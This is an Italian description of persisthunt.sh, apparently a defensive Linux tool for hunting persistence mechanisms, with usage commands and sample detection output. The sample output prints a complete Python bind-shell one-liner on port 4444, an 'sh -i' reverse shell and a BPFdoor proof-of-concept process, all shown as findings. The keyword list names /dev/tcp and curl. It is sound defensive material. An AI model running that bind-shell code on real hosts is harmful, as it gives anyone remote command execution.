
Script per il rilevamento della persistenza, la caccia e la raccolta di artefatti su Linux
persisthunt.sh aiuta ad accelerare le indagini raccogliendo artefatti mirati relativi alla persistenza ed evidenziando pattern sospetti comunemente associati alle tecniche di persistenza Linux.
Lo script assiste nel rilevamento della persistenza, nella caccia alle minacce e nella raccolta di artefatti attraverso i meccanismi di persistenza Linux più noti. I risultati sono categorizzati in tre livelli - High, Low, e Informational - in base a confidenza e severità. Gli esempi includono voci di autorun sospette che fanno riferimento a /tmp/, /home/, /dev/tcp, curl, o il rilevamento di bind/reverse shell attive.
È progettato come una base flessibile che i difensori possono personalizzare per i propri ambienti aggiungendo o rimuovendo logiche di rilevamento e parole chiave. L'output può essere voluminoso e potrebbe richiedere un'analisi specifica dell'ambiente, ma è anche adatto alla revisione e al riepilogo tramite LLM o agenti AI.
Esegui come utente root e reindirizza l'output su un file
sudo persisthunt.sh > output.log
Esegui su un host remoto tramite SSH
ssh [email protected] 'bash -s' < persisthunt.sh > output.log 2>&1
=== [HIGH] Reverse shell attiva ===
bob 3889906 0.0 0.0 2800 1848 pts/2 S+ 06:38 0:00 sh -i
=== [HIGH] Bind shell attiva ===
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("python3",pid=3891687,fd=3))
bob 3891687 0.7 0.3 19540 12320 pts/3 S+ 06:41 0:00 python3 -c exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept(); while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")
=== [HIGH] Programmi eBPF con socket di rete grezzi (possibile persistenza BPFdoor) ===
PID: 3903559, Eseguibile: bpfdoorpoc, Stack trace: /proc/3903559/stack:[<0>] packet_recvmsg+0x6e/0x5c0
=== [LOW] Recente binario ELF in directory tmp/home/nascoste ===
/var/tmp/.test